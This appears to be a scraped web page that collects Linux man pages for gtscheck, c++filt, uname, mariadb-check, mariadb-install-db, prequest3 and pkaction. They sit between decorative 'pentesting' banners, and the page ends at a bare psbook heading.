               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1168 - Linux cli command gtscheck

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command gtscheck and provides detailed information about the command gtscheck, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the gtscheck.

NAME 🖥️ gtscheck 🖥️

checks that a surface defines a closed, orientable non self-intersecting manifold.

SYNOPSIS

gtscheck [ OPTION ] < FILE

DESCRIPTION

This manual page documents briefly the gtscheck command.

OPTIONS

These programs follow the usual GNU command line syntax, with long options starting with two dashes (`-’). A summary of options is included below.

-v, –verbose
Print statistics about the surface.

-h, –help
Display the help and exit.

EXIT STATUS

The return status reflects the error encountered: 0 none 1 the input file is not a valid GTS file 2 the surface is not an orientable manifold 3 the surface is an orientable manifold but is self-intersecting

AUTHOR

gtscheck was written by Stephane Popinet <[email protected]>.

This manual page was written by Ruben Molina <[email protected]>, for the Debian project (but may be used by others).

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1169 - Linux cli command i686-w64-mingw32-c++filt

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command i686-w64-mingw32-c++filt and provides detailed information about the command i686-w64-mingw32-c++filt, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the i686-w64-mingw32-c++filt.

NAME 🖥️ i686-w64-mingw32-c++filt 🖥️

demangle C++ and Java symbols

SYNOPSIS

c++filt [-_|–strip-underscore] [-n|–no-strip-underscore] [-p|–no-params] [-t|–types] [-i|–no-verbose] [-r|–no-recurse-limit] [-R|–recurse-limit] [-s format|–format=format] [–help] [–version] [symbol…]

DESCRIPTION

The C++ and Java languages provide function overloading, which means that you can write many functions with the same name, providing that each function takes parameters of different types. In order to be able to distinguish these similarly named functions C++ and Java encode them into a low-level assembler name which uniquely identifies each different version. This process is known as mangling. The c++filt [1] program does the inverse mapping: it decodes (demangles) low-level names into user-level names so that they can be read.

Every alphanumeric word (consisting of letters, digits, underscores, dollars, or periods) seen in the input is a potential mangled name. If the name decodes into a C++ name, the C++ name replaces the low-level name in the output, otherwise the original word is output. In this way you can pass an entire assembler source file, containing mangled names, through c++filt and see the same source file containing demangled names.

You can also use c++filt to decipher individual symbols by passing them on the command line:

c++filt <symbol>

If no symbol arguments are given, c++filt reads symbol names from the standard input instead. All the results are printed on the standard output. The difference between reading names from the command line versus reading names from the standard input is that command-line arguments are expected to be just mangled names and no checking is performed to separate them from surrounding text. Thus for example:

c++filt -n _Z1fv

will work and demangle the name to “f()” whereas:

c++filt -n _Z1fv,

will not work. (Note the extra comma at the end of the mangled name which makes it invalid). This command however will work:

echo _Z1fv, | c++filt -n

and will display “f(),”, i.e., the demangled name followed by a trailing comma. This behaviour is because when the names are read from the standard input it is expected that they might be part of an assembler source file where there might be extra, extraneous characters trailing after a mangled name. For example:

.type _Z1fv, @function

OPTIONS

-_

–strip-underscore

On some systems, both the C and C++ compilers put an underscore in front of every name. For example, the C name foo gets the low-level name _foo. This option removes the initial underscore. Whether c++filt removes the underscore by default is target dependent.

-n

–no-strip-underscore

Do not remove the initial underscore.

-p

–no-params

When demangling the name of a function, do not display the types of the function’s parameters.

-t

–types

Attempt to demangle types as well as function names. This is disabled by default since mangled types are normally only used internally in the compiler, and they can be confused with non-mangled names. For example, a function called “a” treated as a mangled type name would be demangled to “signed char”.

-i

–no-verbose

Do not include implementation details (if any) in the demangled output.

-r

-R

–recurse-limit

–no-recurse-limit

–recursion-limit

–no-recursion-limit

Enables or disables a limit on the amount of recursion performed whilst demangling strings. Since the name mangling formats allow for an infinite level of recursion it is possible to create strings whose decoding will exhaust the amount of stack space available on the host machine, triggering a memory fault. The limit tries to prevent this from happening by restricting recursion to 2048 levels of nesting. The default is for this limit to be enabled, but disabling it may be necessary in order to demangle truly complicated names. Note however that if the recursion limit is disabled then stack exhaustion is possible and any bug reports about such an event will be rejected. The -r option is a synonym for the –no-recurse-limit option. The -R option is a synonym for the –recurse-limit option.

-s format

–format=format

c++filt can decode various methods of mangling, used by different compilers. The argument to this option selects which method it uses:

“auto”
Automatic selection based on executable (the default method)

“gnu”
the one used by the GNU C++ compiler (g++)

“lucid”
the one used by the Lucid compiler (lcc)

“arm”
the one specified by the C++ Annotated Reference Manual

“hp”
the one used by the HP compiler (aCC)

“edg”
the one used by the EDG compiler

“gnu-v3”
the one used by the GNU C++ compiler (g++) with the V3 ABI.

“java”
the one used by the GNU Java compiler (gcj)

“gnat”
the one used by the GNU Ada compiler (GNAT).

–help
Print a summary of the options to c++filt and exit.

–version
Print the version number of c++filt and exit.

  1. Read command-line options from file. The options read are inserted in place of the original @file option. If file does not exist, or cannot be read, then the option will be treated literally, and not removed. Options in file are separated by whitespace. A whitespace character may be included in an option by surrounding the entire option in either single or double quotes. Any character (including a backslash) may be included by prefixing the character to be included with a backslash. The file may itself contain additional @file options; any such options will be processed recursively.

FOOTNOTES

  1. MS-DOS does not allow + characters in file names, so on MS-DOS this program is named CXXFILT.

SEE ALSO

the Info entries for binutils.

COPYRIGHT

Copyright (c) 1991-2024 Free Software Foundation, Inc.

Permission is granted to copy, distribute and/or modify this document under the terms of the GNU Free Documentation License, Version 1.3 or any later version published by the Free Software Foundation; with no Invariant Sections, with no Front-Cover Texts, and with no Back-Cover Texts. A copy of the license is included in the section entitled “GNU Free Documentation License”.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1170 - Linux cli command uname

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command uname and provides detailed information about the command uname, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the uname.

NAME 🖥️ uname 🖥️

print system information

SYNOPSIS

uname [OPTION]…

DESCRIPTION

Print certain system information. With no OPTION, same as -s.

-a, –all
print all information, in the following order, except omit -p and -i if unknown:

-s, –kernel-name
print the kernel name

-n, –nodename
print the network node hostname

-r, –kernel-release
print the kernel release

-v, –kernel-version
print the kernel version

-m, –machine
print the machine hardware name

-p, –processor
print the processor type (non-portable)

-i, –hardware-platform
print the hardware platform (non-portable)

-o, –operating-system
print the operating system

–help
display this help and exit

–version
output version information and exit

AUTHOR

Written by David MacKenzie.

REPORTING BUGS

GNU coreutils online help: <https://www.gnu.org/software/coreutils/>
Report any translation bugs to <https://translationproject.org/team/>

COPYRIGHT

Copyright © 2023 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later <https://gnu.org/licenses/gpl.html>.
This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law.

SEE ALSO

arch(1), uname(2)

Full documentation <https://www.gnu.org/software/coreutils/uname>
or available locally via: info ‘(coreutils) uname invocation’

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1171 - Linux cli command mariadb-check

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command mariadb-check and provides detailed information about the command mariadb-check, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the mariadb-check.

NAME 🖥️ mariadb-check 🖥️

check - a table maintenance program (mysqlcheck is now a symlink to mariadb-check)

SYNOPSIS

**mysqlcheck [options] [**db_name **[**tbl_name …]]

DESCRIPTION

The mysqlcheck client performs table maintenance: It checks, repairs, optimizes, or analyzes tables.

Each table is locked and therefore unavailable to other sessions while it is being processed, although for check operations, the table is locked with a READ lock only. Table maintenance operations can be time-consuming, particularly for large tables. If you use the –databases or –all-databases option to process all tables in one or more databases, an invocation of mysqlcheck might take a long time. (This is also true for mysql_upgrade because that program invokes mysqlcheck to check all tables and repair them if necessary.)

mysqlcheck is similar in function to myisamchk, but works differently. The main operational difference is that mysqlcheck must be used when the mysqld server is running, whereas myisamchk should be used when it is not. The benefit of using mysqlcheck is that you do not have to stop the server to perform table maintenance.

mysqlcheck uses the SQL statements CHECK TABLE, REPAIR TABLE, ANALYZE TABLE, and OPTIMIZE TABLE in a convenient way for the user. It determines which statements to use for the operation you want to perform, and then sends the statements to the server to be executed.

The MyISAM storage engine supports all four maintenance operations, so mysqlcheck can be used to perform any of them on MyISAM tables. Other storage engines do not necessarily support all operations. In such cases, an error message is displayed. For example, if test.t is a MEMORY table, an attempt to check it produces this result:

shell> mysqlcheck test t test.t note : The storage engine for the table doesn’t support check

If mysqlcheck is unable to repair a table, see the MariaDB Knowledge Base for manual table repair strategies. This will be the case, for example, for InnoDB tables, which can be checked with CHECK TABLE, but not repaired with REPAIR TABLE.

The use of mysqlcheck with partitioned tables is not supported.

Caution

It is best to make a backup of a table before performing a table repair operation; under some circumstances the operation might cause data loss. Possible causes include but are not limited to file system errors.

There are three general ways to invoke mysqlcheck:

shell> mysqlcheck [options] db_name [tbl_name …] shell> mysqlcheck [options] –databases db_name … shell> mysqlcheck [options] –all-databases

If you do not name any tables following db_name or if you use the –databases or –all-databases option, entire databases are checked.

mysqlcheck has a special feature compared to other client programs. The default behavior of checking tables (–check) can be changed by renaming the binary. If you want to have a tool that repairs tables by default, you should just make a copy of mysqlcheck named mysqlrepair, or make a symbolic link to mysqlcheck named mysqlrepair. If you invoke mysqlrepair, it repairs tables.

The following names can be used to change mysqlcheck default behavior.

mysqlrepairThe default option is --repair
mysqlanalyzeThe default option is --analyze
mysqloptimizeThe default option is --optimize

mysqlcheck supports the following options, which can be specified on the command line or in the [mysqlcheck] and [client] option file groups. The -c, -r, -a and -o options are exclusive to each other.

·

–help, -?

Display a help message and exit.

·

–all-databases, -A

Check all tables in all databases. This is the same as using the –databases option and naming all the databases on the command line.

·

–all-in-1, -1

Instead of issuing a statement for each table, execute a single statement for each database that names all the tables from that database to be processed.

·

–analyze, -a

Analyze the tables.

·

–auto-repair

If a checked table is corrupted, automatically fix it. Any necessary repairs are done after all tables have been checked.

·

**–character-sets-dir=**path

The directory where character sets are installed.

·

–check, -c

Check the tables for errors. This is the default operation.

·

–check-only-changed, -C

Check only tables that have changed since the last check or that have not been closed properly.

·

–check-upgrade, -g

Invoke CHECK TABLE with the FOR UPGRADE option to check tables for incompatibilities with the current version of the server. This option automatically enables the –fix-db-names and –fix-table-names options.

·

–compress

Compress all information sent between the client and the server if both support compression.

·

–databases, -B

Process all tables in the named databases. Normally, mysqlcheck treats the first name argument on the command line as a database name and following names as table names. With this option, it treats all name arguments as database names.

·

–debug[=debug_options], -# [debug_options]

Write a debugging log. A typical debug_options string is ’d:t:o,file_name’. The default is ’d:t:o'.

·

–debug-check

Print some debugging information when the program exits.

·

–debug-info

Print debugging information and memory and CPU usage statistics when the program exits.

·

**–default-auth=**name

Default authentication client-side plugin to use.

·

**–default-character-set=**charset_name

Use charset_name as the default character set.

·

**–defaults-extra-file=**filename

Set filename as the file to read default options from after the global defaults files has been read. Must be given as first option.

·

**–defaults-file=**filename

Set filename as the file to read default options from, override global defaults files. Must be given as first option.

·

–extended, -e

If you are using this option to check tables, it ensures that they are 100% consistent but takes a long time.

If you are using this option to repair tables, it will force using the old, slow, repair with keycache method, instead of the much faster repair by sorting.

·

–fast, -F

Check only tables that have not been closed properly.

·

–fix-db-names

Convert database names to the format used since MySQL 5.1. Only database names that contain special characters are affected.

·

–fix-table-names

Convert table names (including views) to the format used since MySQL 5.1. Only table names that contain special characters are affected.

·

–flush,

Flush each table after check. This is useful if you don’t want to have the checked tables take up space in the caches after the check.

·

–force, -f

Continue even if an SQL error occurs.

·

**–host=**host_name, -h host_name

Connect to the MariaDB server on the given host.

·

–medium-check, -m

Do a check that is faster than an –extended operation. This finds only 99.99% of all errors, which should be good enough in most cases.

·

–no-defaults

Do not read default options from any option file. This must be given as the first argument.

·

–optimize, -o

Optimize the tables.

·

–password[=password], -p[password]

The password to use when connecting to the server. If you use the short option form (-p), you cannot have a space between the option and the password. If you omit the password value following the –password or -p option on the command line, mysqlcheck prompts for one.

Specifying a password on the command line should be considered insecure. You can use an option file to avoid giving the password on the command line.

·

–persistent, -Z

Used with ANALYZE TABLE to append the option PERSISENT FOR ALL.

·

–pipe, -W

On Windows, connect to the server via a named pipe. This option applies only if the server supports named-pipe connections.

·

**–plugin-dir=**name

Directory for client-side plugins.

·

**–port=**port_num, -P port_num

The TCP/IP port number to use for the connection. Forces –protocol=tcp when specified on the command line without other connection properties.

·

–print-defaults

Print the program argument list and exit. This must be given as the first argument.

·

–process-tables

Perform the requested operation on tables. Defaults to on; use –skip-process-tables to disable.

·

**–process-views=**val

Perform the requested operation (only CHECK VIEW or REPAIR VIEW). Possible values are NO, YES (correct the checksum, if necessary, add the mariadb-version field), UPGRADE_FROM_MYSQL (same as YES and toggle the algorithm MERGE<->TEMPTABLE.

·

–protocol={TCP|SOCKET|PIPE|MEMORY}

The connection protocol to use for connecting to the server. It is useful when the other connection parameters normally would cause a protocol to be used other than the one you want.

·

–quick, -q

If you are using this option to check tables, it prevents the check from scanning the rows to check for incorrect links. This is the fastest check method.

If you are using this option to repair tables, it tries to repair only the index tree. This is the fastest repair method.

·

–repair, -r

Perform a repair that can fix almost anything except unique keys that are not unique.

·

–silent, -s

Silent mode. Print only error messages.

·

**–skip-database=**db_name

Don’t process the database (case-sensitive) specified as argument.

·

**–socket=**path, -S path

For connections to localhost, the Unix socket file to use, or, on Windows, the name of the named pipe to use. Forces –protocol=socket when specified on the command line without other connection properties; on Windows, forces –protocol=pipe.

·

–ssl

Enable SSL for connection (automatically enabled with other flags). Disable with –skip-ssl.

·

**–ssl-ca=**name

CA file in PEM format (check OpenSSL docs, implies –ssl).

·

**–ssl-capath=**name

CA directory (check OpenSSL docs, implies –ssl).

·

**–ssl-cert=**name

X509 cert in PEM format (check OpenSSL docs, implies –ssl).

·

**–ssl-cipher=**name

SSL cipher to use (check OpenSSL docs, implies –ssl).

·

**–ssl-key=**name

X509 key in PEM format (check OpenSSL docs, implies –ssl).

·

**–ssl-crl=**name

Certificate revocation list (check OpenSSL docs, implies –ssl).

·

**–ssl-crlpath=**name

Certificate revocation list path (check OpenSSL docs, implies –ssl).

·

–ssl-verify-server-cert

Verify server’s “Common Name” in its cert against hostname used when connecting. This option is disabled by default.

·

–tables

Override the –databases or -B option. All name arguments following the option are regarded as table names.

·

–use-frm

For repair operations on MyISAM tables, get the table structure from the .frm file so that the table can be repaired even if the .MYI header is corrupted.

·

**–user=**user_name, -u user_name

The MariaDB user name to use when connecting to the server.

·

–verbose, -v

Verbose mode. Print information about the various stages of program operation. Using one –verbose option will give you more information about what mysqlcheck is doing.

Using two –verbose options will also give you connection information.

Using it 3 times will print out all CHECK, RENAME and ALTER TABLE during the check phase.

·

–version, -V

Display version information and exit.

·

–write-binlog

This option is enabled by default, so that ANALYZE TABLE, OPTIMIZE TABLE, and REPAIR TABLE statements generated by mysqlcheck are written to the binary log. Use –skip-write-binlog to cause NO_WRITE_TO_BINLOG to be added to the statements so that they are not logged. Use the –skip-write-binlog when these statements should not be sent to replication slaves or run when using the binary logs for recovery from backup.

COPYRIGHT

Copyright 2007-2008 MySQL AB, 2008-2010 Sun Microsystems, Inc., 2010-2020 MariaDB Foundation

This documentation is free software; you can redistribute it and/or modify it only under the terms of the GNU General Public License as published by the Free Software Foundation; version 2 of the License.

This documentation is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.

You should have received a copy of the GNU General Public License along with the program; if not, write to the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1335 USA or see http://www.gnu.org/licenses/.

SEE ALSO

For more information, please refer to the MariaDB Knowledge Base, available online at https://mariadb.com/kb/

AUTHOR

MariaDB Foundation (http://www.mariadb.org/).

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1172 - Linux cli command mariadb-install-db

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command mariadb-install-db and provides detailed information about the command mariadb-install-db, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the mariadb-install-db.

NAME 🖥️ mariadb-install-db 🖥️

install-db - initialize MariaDB data directory (mysql_install_db is now a symlink to mariadb-install-db)

SYNOPSIS

mysql_install_db [options]

DESCRIPTION

mysql_install_db initializes the MariaDB data directory and creates the system tables that it contains, if they do not exist.

To invoke mysql_install_db, use the following syntax:

shell> mysql_install_db [options]

Because the MariaDB server, mysqld, needs to access the data directory when it runs later, you should either run mysql_install_db from the same account that will be used for running mysqld or run it as root and use the –user option to indicate the user name that mysqld will run as. It might be necessary to specify other options such as –basedir or –datadir if mysql_install_db does not use the correct locations for the installation directory or data directory. For example:

shell> bin/mysql_install_db –user=mysql
–basedir=/opt/mysql/mysql
–datadir=/opt/mysql/mysql/data

mysql_install_db needs to invoke mysqld with the –bootstrap and –skip-grant-tables options (see Section 2.3.2, “Typical configure Options”). If MariaDB was configured with the –disable-grant-options option, –bootstrap and –skip-grant-tables will be disabled. To handle this, set the MYSQLD_BOOTSTRAP environment variable to the full path name of a server that has all options enabled. mysql_install_db will use that server.

mysql_install_db supports the following options, which can be specified on the command line or in the [mysql_install_db] and (if they are common to mysqld) [mysqld] option file groups.

·

**–basedir=**path

The path to the MariaDB installation directory.

·

**–builddir=**path

If using –srcdir with out-of-directory builds, you will need to set this to the location of the build directory where built files reside..

·

–cross-bootstrap

For internal use. Used when building the MariaDB system tables on a different host than the target..

·

**–datadir=**path, **–ldata=**path

The path to the MariaDB data directory.

·

**–defaults-extra-file=**filename

Set filename as the file to read default options from after the global defaults files has been read. Must be given as first option.

·

**–defaults-file=**filename

Set filename as the file to read default options from, override global defaults files. Must be given as first option.

·

**–defaults-group-suffix=**name

In addition to the given groups, also read groups with this suffix.

·

–force

Cause mysql_install_db to run even if DNS does not work. In that case, grant table entries that normally use host names will use IP addresses.

·

–help

Display a help message and exit.

·

–no-defaults

Do not read default options from any option file. This must be given as the first argument.

·

–print-defaults

Print the program argument list and exit. This must be given as the first argument.

·

–rpm

For internal use. This option is used by RPM files during the MariaDB installation process.

·

–skip-name-resolve

Use IP addresses rather than host names when creating grant table entries. This option can be useful if your DNS does not work.

·

**–srcdir=**path

For internal use. The directory under which mysql_install_db looks for support files such as the error message file and the file for populating the help tables.4.

·

**–user=**user_name

The login user name to use for running mysqld. Files and directories created by mysqld will be owned by this user. You must be root to use this option. By default, mysqld runs using your current login name and files and directories that it creates will be owned by you.

·

**–extra-file=**file_path

Add user defined SQL file, to be executed following regular database initialization.

·

–verbose

Verbose mode. Print more information about what the program does.

·

–windows

For internal use. This option is used for creating Windows distributions.

COPYRIGHT

Copyright 2007-2008 MySQL AB, 2008-2010 Sun Microsystems, Inc., 2010-2020 MariaDB Foundation

This documentation is free software; you can redistribute it and/or modify it only under the terms of the GNU General Public License as published by the Free Software Foundation; version 2 of the License.

This documentation is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.

You should have received a copy of the GNU General Public License along with the program; if not, write to the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1335 USA or see http://www.gnu.org/licenses/.

SEE ALSO

For more information, please refer to the MariaDB Knowledge Base, available online at https://mariadb.com/kb/

AUTHOR

MariaDB Foundation (http://www.mariadb.org/).

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1173 - Linux cli command prequest3

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command prequest3 and provides detailed information about the command prequest3, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the prequest3.

NAME 🖥️ prequest3 🖥️

Python 3 Pyramid command

DESCRIPTION

usage: prequest3 [-h] [-n NAME] [–header NAME:VALUE] [-d]

[-m {GET,HEAD,POST,PUT,PATCH,DELETE,PROPFIND,OPTIONS}] [-l LOGIN] [config_uri] [path_info] [config_vars …]

Submit a HTTP request to a web application.

This command makes an artificial request to a web application that uses a PasteDeploy (.ini) configuration file for the server and application.

Use “prequest config.ini /path” to request “/path”.

Use “prequest –method=POST config.ini /path < data” to do a POST with the given request body.

Use “prequest –method=PUT config.ini /path < data” to do a PUT with the given request body.

Use “prequest –method=PATCH config.ini /path < data” to do a PATCH with the given request body.

Use “prequest –method=OPTIONS config.ini /path” to do an OPTIONS request.

Use “prequest –method=PROPFIND config.ini /path” to do a PROPFIND request.

If the path is relative (doesn’t begin with “/”) it is interpreted as relative to “/”. The path passed to this script should be URL-quoted. The path can be succeeded with a query string (e.g. ‘/path?a=1&=b2’).

The variable “environ[‘paste.command_request’]” will be set to “True” in the request’s WSGI environment, so your application can distinguish these calls from normal requests.

positional arguments:

config_uri
The URI to the configuration file.

path_info
The path of the request.

config_vars
Variables required by the config file. For example, `http_port=%(http_port)s` would expect `http_port=8080` to be passed here.

options:

-h, –help
show this help message and exit

-n NAME, –app-name NAME
Load the named application from the config file (default ‘main’)

–header NAME:VALUE
Header to add to request (you can use this option multiple times)

-d, –display-headers
Display status and headers before the response body

-m {GET,HEAD,POST,PUT,PATCH,DELETE,PROPFIND,OPTIONS}, –method {GET,HEAD,POST,PUT,PATCH,DELETE,PROPFIND,OPTIONS}
Request method type (GET, POST, PUT, PATCH, DELETE, PROPFIND, OPTIONS)

-l LOGIN, –login LOGIN
HTTP basic auth username:password pair

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1174 - Linux cli command pkaction

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pkaction and provides detailed information about the command pkaction, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pkaction.

NAME 🖥️ pkaction 🖥️

Get details about a registered action

SYNOPSIS

pkaction [–version] [–help]

pkaction [–verbose]

pkaction –action-id action [–verbose]

DESCRIPTION

pkaction is used to obtain information about registered polkit actions. If called without –action-id then all actions are displayed. Otherwise the action action. If called without the –verbose option only the name of the action is shown. Otherwise details about the actions are shown.

RETURN VALUE

On success pkaction returns 0. Otherwise a non-zero value is returned and a diagnostic message is printed on standard error.

AUTHOR

Written by David Zeuthen <[email protected]> with a lot of help from many others.

BUGS

Please send bug reports to either the distribution or the polkit-devel mailing list, see the link https://gitlab.freedesktop.org/polkit/polkit/-/issues/ on how to subscribe.

SEE ALSO

polkit(8), polkitd(8), pkcheck(1), pkexec(1), pkttyagent(1)

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1175 - Linux cli command psbook

